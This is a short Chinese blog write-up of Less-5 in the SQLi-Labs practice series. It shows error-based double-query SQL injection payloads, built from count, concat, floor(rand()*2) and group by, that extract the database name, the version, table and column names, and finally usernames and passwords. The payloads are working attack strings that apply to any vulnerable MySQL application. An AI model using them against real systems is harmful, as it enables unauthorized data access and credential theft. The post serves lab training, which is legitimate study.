SQLI DUMB SERIES-5

less5

(1)输入单引号,回显错误,说明存在注入点。输入的Id被一对单引号所包围,可以闭合单引号

 

 

 

(2)输入正常时:?id=1

说明没有显示位,因此不能使用联合查询了;可以使用报错注入,有两种方式

(3)双注入查询

参考资料:http://www.2cto.com/article/201303/192718.html

简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

 1)爆数据库名

?id=-1' union select count(*),count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

 

可知表明数据库名为"security"

2)将上述中的database(),改为version(),可得PHP版本

3)同样的方法可以爆用户名

 4)爆表名

?id=-1' union select count(*),count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database()limit 2,1),floor(rand()*2)) as a from information_schema.tables group by a--+

 

改变Limit后面的数字可以爆出所有表名,例如

5)爆列名(以user表为例)

?id=-1' union select count(*),count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+

 

改变Limit后面的数字可以爆出所有列名,例如

6)爆字段

?id=-1' union select count(*),count(*),concat((select concat_ws('[',password,username) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+

 

Password与username之间用'['隔开,同样改变Limit后面的数字可以爆出user表的所有字段。

 

posted @ 2019-03-12 11:35  DurianTRY  阅读(1124)  评论(0编辑  收藏  举报